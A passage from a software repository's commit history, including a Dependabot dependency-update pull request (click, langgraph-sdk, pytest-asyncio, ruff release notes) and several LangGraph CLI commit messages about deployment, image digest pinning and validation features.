:issue:<code>2012</code> :pr:<code>3363</code></p> </li> </ul> <!-- raw HTML omitted --> </blockquote> <p>... (truncated)</p> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/pallets/click/commit/6eeb50e948ea136db145280f6f5dd52eca3fa7e5"><code>6eeb50e</code></a> release version 8.4.1</li> <li><a href="https://github.com/pallets/click/commit/67921d5b71584112eebcbf89596b5f0e6d14c49f"><code>67921d5</code></a> change log and doc fixes (<a href="https://redirect.github.com/pallets/click/issues/3495">#3495</a>)</li> <li><a href="https://github.com/pallets/click/commit/9c41f46a4015700489ad009266edf1f3893d01d1"><code>9c41f46</code></a> Fix changelog and version admonitions</li> <li><a href="https://github.com/pallets/click/commit/6cb34774f20598aa288332f8da02c5aee85448a6"><code>6cb3477</code></a> fix skip condition</li> <li><a href="https://github.com/pallets/click/commit/5ee8e3123d8ddece6c47eff9a7a7d4ca478c4f37"><code>5ee8e31</code></a> fix I/O operation on closed file error with CliRunner and echo_via_pager (<a href="https://redirect.github.com/pallets/click/issues/3482">#3482</a>)</li> <li><a href="https://github.com/pallets/click/commit/becbde5cf416441627f779e8dd34e57738ee1c1f"><code>becbde5</code></a> pager doesn't close std streams</li> <li><a href="https://github.com/pallets/click/commit/a5f5aa6d4012d256ccca24638f2642fc371e9f77"><code>a5f5aa6</code></a> Handle empty bytes in echo (<a href="https://redirect.github.com/pallets/click/issues/3493">#3493</a>)</li> <li><a href="https://github.com/pallets/click/commit/4d3db84b251518e97299a38a5ca4bab3d01873a2"><code>4d3db84</code></a> handle empty bytes in echo</li> <li><a href="https://github.com/pallets/click/commit/d42f15b71757de791a5781fb179fd972da9169f5"><code>d42f15b</code></a> Fix <code>get_parameter_source()</code> during type conversion and eager callbacks (<a href="https://redirect.github.com/pallets/click/issues/3484">#3484</a>)</li> <li><a href="https://github.com/pallets/click/commit/0baa8db07736fc7ad3d3eed97d4c73b0059c63e1"><code>0baa8db</code></a> Document ctx.params bypass with test and doc</li> <li>Additional commits viewable in <a href="https://github.com/pallets/click/compare/8.3.3...8.4.1">compare view</a></li> </ul> </details> <br /> Updates `langgraph-sdk` from 0.3.13 to 0.4.2 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/langchain-ai/langgraph/releases">langgraph-sdk's releases</a>.</em></p> <blockquote> <h2>langgraph-sdk==0.4.2</h2> <p>Changes since sdk==0.4.1</p> <ul> <li>release(sdk-py): 0.4.2 (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7955">#7955</a>)</li> <li>fix(sdk-py): percent-encode thread_id in v3 stream transport default paths (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7954">#7954</a>)</li> </ul> <h2>langgraph-sdk==0.4.1</h2> <p>Changes since sdk==0.4.0</p> <ul> <li>release(sdk-py): 0.4.1 (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7944">#7944</a>)</li> <li>feat(sdk-py): extract stream decoders and add interleave_projections (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7935">#7935</a>)</li> <li>feat(langgraph): add v3 streaming support to RemoteGraph (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7927">#7927</a>)</li> <li>fix(sdk-py): make <code>tools_agent</code> fake model stateless (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7930">#7930</a>)</li> </ul> <h2>langgraph-sdk==0.4.0</h2> <p>Changes since sdk==0.3.15</p> <ul> <li>release(sdk-py): 0.4.0 (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7923">#7923</a>)</li> <li>feat(sdk-py): add thread stream helpers (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7833">#7833</a>)</li> <li>feat(sdk-py): wire websocket stream selection (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7832">#7832</a>)</li> <li>feat(sdk-py): add websocket stream transports (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7830">#7830</a>)</li> <li>feat(sdk-py): harden streaming reconnects (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7829">#7829</a>)</li> <li>feat(sdk-py): add sync scoped subgraphs (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7828">#7828</a>)</li> <li>feat(sdk-py): add sync messages and tool calls (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7827">#7827</a>)</li> <li>feat(sdk-py): add sync thread stream core (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7826">#7826</a>)</li> <li>feat(sdk-py): add async stream reconnect support (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7825">#7825</a>)</li> <li>feat(sdk-py): add scoped subgraph handles (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7824">#7824</a>)</li> <li>feat(sdk-py): add messages and tool call projections (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7823">#7823</a>)</li> <li>feat(sdk-py): add output, values, and controller extraction (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7822">#7822</a>)</li> <li>feat(sdk-py): wire lifecycle state and output prerequisites (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7821">#7821</a>)</li> <li>feat(sdk-py): add shared stream subscriptions (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7820">#7820</a>)</li> <li>feat(sdk-py): add async thread stream skeleton (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7819">#7819</a>)</li> <li>feat(sdk-py): add v3 streaming primitives and SSE transport (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7818">#7818</a>)</li> <li>chore(langgraph): bump version to 1.2.2 (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7914">#7914</a>)</li> </ul> <h2>langgraph-sdk==0.3.15</h2> <p>Changes since sdk==0.3.14</p> <ul> <li>release(checkpoint): 4.1.1 (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7890">#7890</a>)</li> <li>release(sdk-py): 0.3.15 (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7891">#7891</a>)</li> <li>fix(sdk-py): percent-encode caller-supplied identifiers in URL paths (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7893">#7893</a>)</li> <li>release(langgraph): 1.2.1 (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7883">#7883</a>)</li> <li>chore(deps): bump idna from 3.11 to 3.15 in /libs/sdk-py (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7863">#7863</a>)</li> <li>chore(deps): bump urllib3 from 2.6.3 to 2.7.0 in /libs/sdk-py (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7764">#7764</a>)</li> <li>chore(deps): bump langsmith from 0.7.31 to 0.8.0 in /libs/sdk-py (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7789">#7789</a>)</li> <li>release: bump alpha packages to official versions (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7775">#7775</a>)</li> <li>chore(langgraph): bump langchain-core to 1.4.0 (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7767">#7767</a>)</li> <li>feat(sdk-py): support metadata filter for crons search/count (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7737">#7737</a>)</li> <li>chore(deps): bump ty from 0.0.23 to 0.0.33 in /libs/sdk-py (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7666">#7666</a>)</li> </ul> <!-- raw HTML omitted --> </blockquote> <p>... (truncated)</p> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/langchain-ai/langgraph/commit/4aeaffef4e0d14de09fa4e34636372cb01992c6a"><code>4aeaffe</code></a> 0.4.2 (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/4570">#4570</a>)</li> <li><a href="https://github.com/langchain-ai/langgraph/commit/f1bfd6051a7a3e840c3a9ddc437a2e7f14dd41c8"><code>f1bfd60</code></a> update</li> <li><a href="https://github.com/langchain-ai/langgraph/commit/998be75f3430d87f5fa361c790b41ae8314fc64e"><code>998be75</code></a> langgraph: decouple name from assistant ID in RemoteGraph</li> <li><a href="https://github.com/langchain-ai/langgraph/commit/365dd5f459e2bd9f4fcf38805837fc8cf9356869"><code>365dd5f</code></a> sdk-py: Prefix private functions in sdk with _</li> <li><a href="https://github.com/langchain-ai/langgraph/commit/0e61cc2cf6100e0e053614bc2c5dcdeec04b07a8"><code>0e61cc2</code></a> prebuilt: remove state_modifier (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/4439">#4439</a>)</li> <li><a href="https://github.com/langchain-ai/langgraph/commit/a0a302dec50af869c07851210f3a9dd77200e8a0"><code>a0a302d</code></a> prebuilt: switch to executing parallel tool calls via Send by default (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/4438">#4438</a>)</li> <li><a href="https://github.com/langchain-ai/langgraph/commit/4e05db85374a652c8ddfa26b9adb9ff638fce581"><code>4e05db8</code></a> Release checkpoint-sqlite (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/4509">#4509</a>)</li> <li><a href="https://github.com/langchain-ai/langgraph/commit/d6e20e6d093a4fe53cb04afa5af8a5b3d3b8ef31"><code>d6e20e6</code></a> Add missing 'running' RunStatus (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/4508">#4508</a>)</li> <li><a href="https://github.com/langchain-ai/langgraph/commit/fcd06acd3365aa2c7ba5091349a6f850aedd09c4"><code>fcd06ac</code></a> Add support for specifying a custom base image in docker commands (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/4500">#4500</a>)</li> <li><a href="https://github.com/langchain-ai/langgraph/commit/94994a8d995596c1a3c035572062987c71811d83"><code>94994a8</code></a> meaningless commit to get vercel going sigh</li> <li>Additional commits viewable in <a href="https://github.com/langchain-ai/langgraph/compare/0.3.13...0.4.2">compare view</a></li> </ul> </details> <br /> Updates `pytest-asyncio` from 1.3.0 to 1.4.0 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/pytest-dev/pytest-asyncio/releases">pytest-asyncio's releases</a>.</em></p> <blockquote> <h2>pytest-asyncio v1.4.0</h2> <h1><a href="https://github.com/pytest-dev/pytest-asyncio/tree/1.4.0">1.4.0</a> - 2026-05-26</h1> <h2>Deprecated</h2> <ul> <li>Overriding the <em>event_loop_policy</em> fixture is deprecated. Use the <code>pytest_asyncio_loop_factories</code> hook instead. (<a href="https://redirect.github.com/pytest-dev/pytest-asyncio/issues/1419">#1419</a>)</li> </ul> <h2>Added</h2> <ul> <li> <p>Added the <code>pytest_asyncio_loop_factories</code> hook to parametrize asyncio tests with custom event loop factories.</p> <p>The hook returns a mapping of factory names to loop factories, and <code>pytest.mark.asyncio(loop_factories=[...])</code> selects a subset of configured factories per test. When a single factory is configured, test names are unchanged.</p> <p>Synchronous <code>@pytest_asyncio.fixture</code> functions now see the correct event loop when custom loop factories are configured, even when test code disrupts the current event loop (e.g., via <code>asyncio.run()</code> or <code>asyncio.set_event_loop(None)</code>). (<a href="https://redirect.github.com/pytest-dev/pytest-asyncio/issues/1164">#1164</a>)</p> </li> </ul> <h2>Changed</h2> <ul> <li>Improved the readability of the warning message that is displayed when <code>asyncio_default_fixture_loop_scope</code> is unset (<a href="https://redirect.github.com/pytest-dev/pytest-asyncio/issues/1298">#1298</a>)</li> <li>Only import <code>asyncio.AbstractEventLoopPolicy</code> for type checking to avoid raising a DeprecationWarning. (<a href="https://redirect.github.com/pytest-dev/pytest-asyncio/issues/1394">#1394</a>)</li> <li>Updated minimum supported pytest version to v8.4.0. (<a href="https://redirect.github.com/pytest-dev/pytest-asyncio/issues/1397">#1397</a>)</li> </ul> <h2>Fixed</h2> <ul> <li>Fixed a <code>ResourceWarning: unclosed event loop</code> warning that could occur when a synchronous test called <code>asyncio.run()</code> or otherwise unset the current event loop after pytest-asyncio had run an async test or fixture. (<a href="https://redirect.github.com/pytest-dev/pytest-asyncio/issues/724">#724</a>)</li> </ul> <h2>Notes for Downstream Packagers</h2> <ul> <li>Added dependency on <code>sphinx-tabs >= 3.5</code> to organize documentation examples into tabs. (<a href="https://redirect.github.com/pytest-dev/pytest-asyncio/issues/1395">#1395</a>)</li> </ul> <h2>pytest-asyncio v1.4.0a2</h2> <h1><a href="https://github.com/pytest-dev/pytest-asyncio/tree/1.4.0a2">1.4.0a2</a> - 2026-05-02</h1> <h2>Deprecated</h2> <ul> <li>Overriding the <em>event_loop_policy</em> fixture is deprecated. Use the <code>pytest_asyncio_loop_factories</code> hook instead. (<a href="https://redirect.github.com/pytest-dev/pytest-asyncio/issues/1419">#1419</a>)</li> </ul> <h2>Added</h2> <ul> <li> <p>Added the <code>pytest_asyncio_loop_factories</code> hook to parametrize asyncio tests with custom event loop factories.</p> <p>The hook returns a mapping of factory names to loop factories, and <code>pytest.mark.asyncio(loop_factories=[...])</code> selects a subset of configured factories per test. When a single factory is configured, test names are unchanged on pytest 8.4+.</p> <p>Synchronous <code>@pytest_asyncio.fixture</code> functions now see the correct event loop when custom loop factories are configured, even when test code disrupts the current event loop (e.g., via <code>asyncio.run()</code> or <code>asyncio.set_event_loop(None)</code>). (<a href="https://redirect.github.com/pytest-dev/pytest-asyncio/issues/1164">#1164</a>)</p> </li> </ul> <h2>Changed</h2> <ul> <li>Improved the readability of the warning message that is displayed when <code>asyncio_default_fixture_loop_scope</code> is unset (<a href="https://redirect.github.com/pytest-dev/pytest-asyncio/issues/1298">#1298</a>)</li> <li>Only import <code>asyncio.AbstractEventLoopPolicy</code> for type checking to avoid raising a DeprecationWarning. (<a href="https://redirect.github.com/pytest-dev/pytest-asyncio/issues/1394">#1394</a>)</li> </ul> <!-- raw HTML omitted --> </blockquote> <p>... (truncated)</p> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/pytest-dev/pytest-asyncio/commit/6e14cd2af9292dca1fa2b027a06bbc40b0e0e425"><code>6e14cd2</code></a> chore: Prepare release of v1.4.0.</li> <li><a href="https://github.com/pytest-dev/pytest-asyncio/commit/4b900fb5d0c30949c574e55dd904ee179f858a5e"><code>4b900fb</code></a> Build(deps): Bump codecov/codecov-action from 6.0.0 to 6.0.1</li> <li><a href="https://github.com/pytest-dev/pytest-asyncio/commit/ab9f63245094865c42c940a34af724b0dec1debf"><code>ab9f632</code></a> Build(deps): Bump zipp from 3.23.1 to 4.1.0</li> <li><a href="https://github.com/pytest-dev/pytest-asyncio/commit/a56fc77ecd59f781d8471b0f6a82bf58e08c95fa"><code>a56fc77</code></a> Build(deps): Bump hypothesis from 6.152.6 to 6.152.8</li> <li><a href="https://github.com/pytest-dev/pytest-asyncio/commit/e8bae9bc1f197731fc1a210c0da557af7b698e6d"><code>e8bae9b</code></a> Build(deps): Bump requests from 2.34.0 to 2.34.2</li> <li><a href="https://github.com/pytest-dev/pytest-asyncio/commit/fc433402c570fd36a7a227ef4bc3abd4579299de"><code>fc43340</code></a> Build(deps): Bump idna from 3.14 to 3.15</li> <li><a href="https://github.com/pytest-dev/pytest-asyncio/commit/762eaf5033b798b965c92afdbb2cebefa8fc3a8b"><code>762eaf5</code></a> Build(deps): Bump jaraco-functools from 4.4.0 to 4.5.0</li> <li><a href="https://github.com/pytest-dev/pytest-asyncio/commit/b62e2228c80070977baf6b77ba89d5c148af920f"><code>b62e222</code></a> Build(deps): Bump click from 8.3.3 to 8.4.0</li> <li><a href="https://github.com/pytest-dev/pytest-asyncio/commit/919044700627889d25ca63b6e7a3bc785f3137eb"><code>9190447</code></a> Build(deps): Bump pydantic from 2.13.3 to 2.13.4</li> <li><a href="https://github.com/pytest-dev/pytest-asyncio/commit/82a393c5e31b6ebbbd8ec2a8dafc5f35b9cf1236"><code>82a393c</code></a> ci: Remove unnecessary debug output.</li> <li>Additional commits viewable in <a href="https://github.com/pytest-dev/pytest-asyncio/compare/v1.3.0...v1.4.0">compare view</a></li> </ul> </details> <br /> Updates `ruff` from 0.15.12 to 0.15.15 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/astral-sh/ruff/releases">ruff's releases</a>.</em></p> <blockquote> <h2>0.15.15</h2> <h2>Release Notes</h2> <p>Released on 2026-05-28.</p> <h3>Preview features</h3> <ul> <li>Fix Markdown closing fence handling (<a href="https://redirect.github.com/astral-sh/ruff/pull/25310">#25310</a>)</li> <li>[<code>pyflakes</code>] Report duplicate imports in <code>typing.TYPE_CHECKING</code> block (<code>F811</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/22560">#22560</a>)</li> </ul> <h3>Bug fixes</h3> <ul> <li>[<code>pyflakes</code>] Treat function-scope bare annotations as locals per PEP 526 (<code>F821</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/21540">#21540</a>)</li> </ul> <h3>Performance</h3> <ul> <li>Avoid redundant <code>TokenValue</code> drops in the lexer (<a href="https://redirect.github.com/astral-sh/ruff/pull/25300">#25300</a>)</li> <li>Reduce memory usage by dropping token-excess capacity and improve performance by approximating the initial tokens <code>Vec</code> size (<a href="https://redirect.github.com/astral-sh/ruff/pull/25354">#25354</a>)</li> <li>Use <code>ThinVec</code> in AST to shrink <code>Stmt</code> (<a href="https://redirect.github.com/astral-sh/ruff/pull/25361">#25361</a>)</li> </ul> <h3>Documentation</h3> <ul> <li>Fix <code>line-length</code> example for <code>--config</code> option (<a href="https://redirect.github.com/astral-sh/ruff/pull/25389">#25389</a>)</li> <li>[<code>flake8-comprehensions</code>] Document <code>RecursionError</code> edge case in <code>__len__</code> (<code>C416</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/25286">#25286</a>)</li> <li>[<code>mccabe</code>] Improve example (<code>C901</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/25287">#25287</a>)</li> <li>[<code>pyupgrade</code>] Clarify fix safety docs (<code>UP007</code>, <code>UP045</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/25288">#25288</a>)</li> <li>[<code>refurb</code>] Document <code>FURB192</code> exception change for empty sequences (<a href="https://redirect.github.com/astral-sh/ruff/pull/25317">#25317</a>)</li> <li>[<code>ruff</code>] Document false negative for user-defined types (<code>RUF013</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/25289">#25289</a>)</li> </ul> <h3>Formatter</h3> <ul> <li>Fix formatting of lambdas nested within f-strings (<a href="https://redirect.github.com/astral-sh/ruff/pull/25398">#25398</a>)</li> </ul> <h3>Server</h3> <ul> <li>Return code action for <code>codeAction/resolve</code> requests that contain no or no valid URL (<a href="https://redirect.github.com/astral-sh/ruff/pull/25365">#25365</a>)</li> </ul> <h3>Other changes</h3> <ul> <li>Expand semantic syntax errors for invalid walruses (<a href="https://redirect.github.com/astral-sh/ruff/pull/25415">#25415</a>)</li> </ul> <h3>Contributors</h3> <ul> <li><a href="https://github.com/chirizxc"><code>@chirizxc</code></a></li> <li><a href="https://github.com/ntBre"><code>@ntBre</code></a></li> <li><a href="https://github.com/adityasingh2400"><code>@adityasingh2400</code></a></li> <li><a href="https://github.com/charliermarsh"><code>@charliermarsh</code></a></li> <li><a href="https://github.com/fallintoplace"><code>@fallintoplace</code></a></li> <li><a href="https://github.com/martin-schlossarek"><code>@martin-schlossarek</code></a></li> <li><a href="https://github.com/MichaReiser"><code>@MichaReiser</code></a></li> </ul> <!-- raw HTML omitted --> </blockquote> <p>... (truncated)</p> </details> <details> <summary>Changelog</summary> <p><em>Sourced from <a href="https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md">ruff's changelog</a>.</em></p> <blockquote> <h2>0.15.15</h2> <p>Released on 2026-05-28.</p> <h3>Preview features</h3> <ul> <li>Fix Markdown closing fence handling (<a href="https://redirect.github.com/astral-sh/ruff/pull/25310">#25310</a>)</li> <li>[<code>pyflakes</code>] Report duplicate imports in <code>typing.TYPE_CHECKING</code> block (<code>F811</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/22560">#22560</a>)</li> </ul> <h3>Bug fixes</h3> <ul> <li>[<code>pyflakes</code>] Treat function-scope bare annotations as locals per PEP 526 (<code>F821</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/21540">#21540</a>)</li> </ul> <h3>Performance</h3> <ul> <li>Avoid redundant <code>TokenValue</code> drops in the lexer (<a href="https://redirect.github.com/astral-sh/ruff/pull/25300">#25300</a>)</li> <li>Reduce memory usage by dropping token-excess capacity and improve performance by approximating the initial tokens <code>Vec</code> size (<a href="https://redirect.github.com/astral-sh/ruff/pull/25354">#25354</a>)</li> <li>Use <code>ThinVec</code> in AST to shrink <code>Stmt</code> (<a href="https://redirect.github.com/astral-sh/ruff/pull/25361">#25361</a>)</li> </ul> <h3>Documentation</h3> <ul> <li>Fix <code>line-length</code> example for <code>--config</code> option (<a href="https://redirect.github.com/astral-sh/ruff/pull/25389">#25389</a>)</li> <li>[<code>flake8-comprehensions</code>] Document <code>RecursionError</code> edge case in <code>__len__</code> (<code>C416</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/25286">#25286</a>)</li> <li>[<code>mccabe</code>] Improve example (<code>C901</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/25287">#25287</a>)</li> <li>[<code>pyupgrade</code>] Clarify fix safety docs (<code>UP007</code>, <code>UP045</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/25288">#25288</a>)</li> <li>[<code>refurb</code>] Document <code>FURB192</code> exception change for empty sequences (<a href="https://redirect.github.com/astral-sh/ruff/pull/25317">#25317</a>)</li> <li>[<code>ruff</code>] Document false negative for user-defined types (<code>RUF013</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/25289">#25289</a>)</li> </ul> <h3>Formatter</h3> <ul> <li>Fix formatting of lambdas nested within f-strings (<a href="https://redirect.github.com/astral-sh/ruff/pull/25398">#25398</a>)</li> </ul> <h3>Server</h3> <ul> <li>Return code action for <code>codeAction/resolve</code> requests that contain no or no valid URL (<a href="https://redirect.github.com/astral-sh/ruff/pull/25365">#25365</a>)</li> </ul> <h3>Other changes</h3> <ul> <li>Expand semantic syntax errors for invalid walruses (<a href="https://redirect.github.com/astral-sh/ruff/pull/25415">#25415</a>)</li> </ul> <h3>Contributors</h3> <ul> <li><a href="https://github.com/chirizxc"><code>@chirizxc</code></a></li> <li><a href="https://github.com/ntBre"><code>@ntBre</code></a></li> <li><a href="https://github.com/adityasingh2400"><code>@adityasingh2400</code></a></li> <li><a href="https://github.com/charliermarsh"><code>@charliermarsh</code></a></li> <li><a href="https://github.com/fallintoplace"><code>@fallintoplace</code></a></li> <li><a href="https://github.com/martin-schlossarek"><code>@martin-schlossarek</code></a></li> <li><a href="https://github.com/MichaReiser"><code>@MichaReiser</code></a></li> <li><a href="https://github.com/Ruchir28"><code>@Ruchir28</code></a></li> </ul> <!-- raw HTML omitted --> </blockquote> <p>... (truncated)</p> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/astral-sh/ruff/commit/db5aa0a5f1b92cb91d910bf0866a967554dd94f5"><code>db5aa0a</code></a> Bump 0.15.15 (<a href="https://redirect.github.com/astral-sh/ruff/issues/25431">#25431</a>)</li> <li><a href="https://github.com/astral-sh/ruff/commit/366fe21ba369ccdd01eb99c1043c9a969c99230b"><code>366fe21</code></a> [ty] Improve diagnostics for syntax errors in forward annotations (<a href="https://redirect.github.com/astral-sh/ruff/issues/25158">#25158</a>)</li> <li><a href="https://github.com/astral-sh/ruff/commit/e2e1e647d182b8567845039c9a65fb0608a4dcfc"><code>e2e1e64</code></a> [ty] Remove excess capacity from more Salsa cached collections (<a href="https://redirect.github.com/astral-sh/ruff/issues/25411">#25411</a>)</li> <li><a href="https://github.com/astral-sh/ruff/commit/1bd77e1646f2213d86b8da215f08279187867d72"><code>1bd77e1</code></a> [ty] Use diagnostic message as tie breaker when sorting (<a href="https://redirect.github.com/astral-sh/ruff/issues/25424">#25424</a>)</li> <li><a href="https://github.com/astral-sh/ruff/commit/7e1bc1e75f15795f12c846294b13df4535f2abbf"><code>7e1bc1e</code></a> Add agent skills for working on ty (<a href="https://redirect.github.com/astral-sh/ruff/issues/25422">#25422</a>)</li> <li><a href="https://github.com/astral-sh/ruff/commit/574e10752f8cfa9e0cdbe3b01e96c4380950469b"><code>574e107</code></a> Expand semantic syntax errors for invalid walruses (<a href="https://redirect.github.com/astral-sh/ruff/issues/25415">#25415</a>)</li> <li><a href="https://github.com/astral-sh/ruff/commit/4a7ca062fccd80443a43aa61e5dc7e5858e88dc1"><code>4a7ca06</code></a> [ty] Display docs for matching parameter when hovering over the name of an ar...</li> <li><a href="https://github.com/astral-sh/ruff/commit/54327092dbfe455040690d63bb1e5e4b5f551239"><code>5432709</code></a> Refine a few agents instructions (<a href="https://redirect.github.com/astral-sh/ruff/issues/25423">#25423</a>)</li> <li><a href="https://github.com/astral-sh/ruff/commit/3cb09eba689ebb49e799131092121928cc789c18"><code>3cb09eb</code></a> [ty] Support <code>typing.TypeForm</code> (<a href="https://redirect.github.com/astral-sh/ruff/issues/25334">#25334</a>)</li> <li><a href="https://github.com/astral-sh/ruff/commit/c8cd59f189f2b6f55d542b29bddb953622add6fc"><code>c8cd59f</code></a> [ty] Infer class attributes assigned by metaclass initialization (<a href="https://redirect.github.com/astral-sh/ruff/issues/25342">#25342</a>)</li> <li>Additional commits viewable in <a href="https://github.com/astral-sh/ruff/compare/0.15.12...0.15.15">compare view</a></li> </ul> </details> <br /> Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`. [//]: # (dependabot-automerge-start) [//]: # (dependabot-automerge-end) --- <details> <summary>Dependabot commands and options</summary> <br /> You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot show <dependency name> ignore conditions` will show all of the ignore conditions of the specified dependency - `@dependabot ignore <dependency name> major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself) - `@dependabot ignore <dependency name> minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself) - `@dependabot ignore <dependency name>` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself) - `@dependabot unignore <dependency name>` will remove all of the ignore conditions of the specified dependency - `@dependabot unignore <dependency name> <ignore condition>` will remove the ignore condition of the specified dependency and ignore conditions </details> Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: John Kennedy <65985482+jkennedyvz@users.noreply.github.com> |
||
|
|
a9b0a05fb5 |
chore(langgraph): Track ADK/other library usage when deploying using cli (#7939)
<!-- Replace everything above this line with a 1-2 sentence description of your change. Keep the "Fixes #xx" keyword and update the issue number. --> - Add a property to revisions table metadata column for Google ADK version - This helps us track the deployments that use Google ADK - Similar to this PR: https://github.com/langchain-ai/langchainplus/pull/22087 Read the full contributing guidelines: https://docs.langchain.com/oss/python/contributing/overview > **All contributions must be in English.** See the [language policy](https://docs.langchain.com/oss/python/contributing/overview#language-policy). If you paste a large clearly AI generated description here your PR may be IGNORED or CLOSED! Thank you for contributing to LangGraph! Follow these steps to have your pull request considered as ready for review. 1. PR title: Should follow the format: TYPE(SCOPE): DESCRIPTION - feat(langgraph): add multi-tenant support - Allowed TYPE and SCOPE values: https://github.com/langchain-ai/langgraph/blob/main/.github/workflows/pr_lint.yml#L19-L43 2. PR description: - Write 1-2 sentences summarizing the change. - The `Fixes #xx` line at the top is **required** for external contributions — update the issue number and keep the keyword. This links your PR to the approved issue and auto-closes it on merge. - If there are any breaking changes, please clearly describe them. - If this PR depends on another PR being merged first, please include "Depends on #PR_NUMBER" in the description. 3. Run `make format`, `make lint` and `make test` from the root of the package(s) you've modified. - We will not consider a PR unless these three are passing in CI. 4. How did you verify your code works? Additional guidelines: - All external PRs must link to an issue or discussion where a solution has been approved by a maintainer, and you must be assigned to that issue. PRs without prior approval will be closed. - PRs should not touch more than one package unless absolutely necessary. - Do not update the `uv.lock` files or add dependencies to `pyproject.toml` files (even optional ones) unless you have explicit permission to do so by a maintainer. ## Social handles (optional) <!-- If you'd like a shoutout on release, add your socials below --> Twitter: @ LinkedIn: https://linkedin.com/in/ |
||
|
|
6e4a295ba5 |
fix(cli): pin internal_docker deploy images by digest (#7924)
## Summary `langgraph deploy` now pins images by digest when handing the URI to the LangGraph host backend. After `docker push`, the CLI reads the manifest digest from the local Docker daemon's `RepoDigests` and sends `registry/repo@sha256:<hex>` to the host backend instead of the tag-based reference. Mutable tags cause downstream inconsistency — the same revision can refer to different images over time. The image is still pushed under the user-supplied `--tag` (default `:latest`) so it stays discoverable by tag in the registry — only the URI persisted with the revision changes. ## Behavior on failure If the digest can't be resolved (empty `RepoDigests`, or no entry matching the just-pushed repo), the CLI warns and falls back to the tag-based reference. Deploys never fail on a digest-resolution issue. ## Test plan - [x] `make test` passes (new `TestResolvePushedImageDigest` cases included) - [x] `--verbose` deploy shows the `docker image inspect` call resolving the digest - [x] Deploy with a clean Docker daemon (no matching `RepoDigests`) emits the fallback warning and still completes successfully --------- Co-authored-by: Josh Rogers <josh@langchain.dev> |
||
|
|
8537ea94d3 |
fix(cli): add support for prerelease api_versions (#7771)
Today, pre-release versions aren't supported for the `api_version` config parameter in langgraph.json. This adds support for them to enable latest and rc images going forward. |
||
|
|
b333d4c838 |
feat(cli): support studio deploy (#7394)
# Description Supports deploying to langsmith from langgraph studio Adds the following to the langgraph deploy command: - json event output - non-interactive mode |
||
|
|
8657df80f3 |
chore: mixup cli formatting (#7585)
Co-authored-by: Will Fu-Hinthorn <will@langchain.dev> |
||
|
|
890147681d |
chore(cli): add validate command (#7438)
add validate command --------- Co-authored-by: Will Fu-Hinthorn <will@langchain.dev> |
||
|
|
51f6cee1b1 |
chore: uv lock resolution (#7342)
## Summary
Adds native uv workspace/lockfile support to the LangGraph CLI's Docker
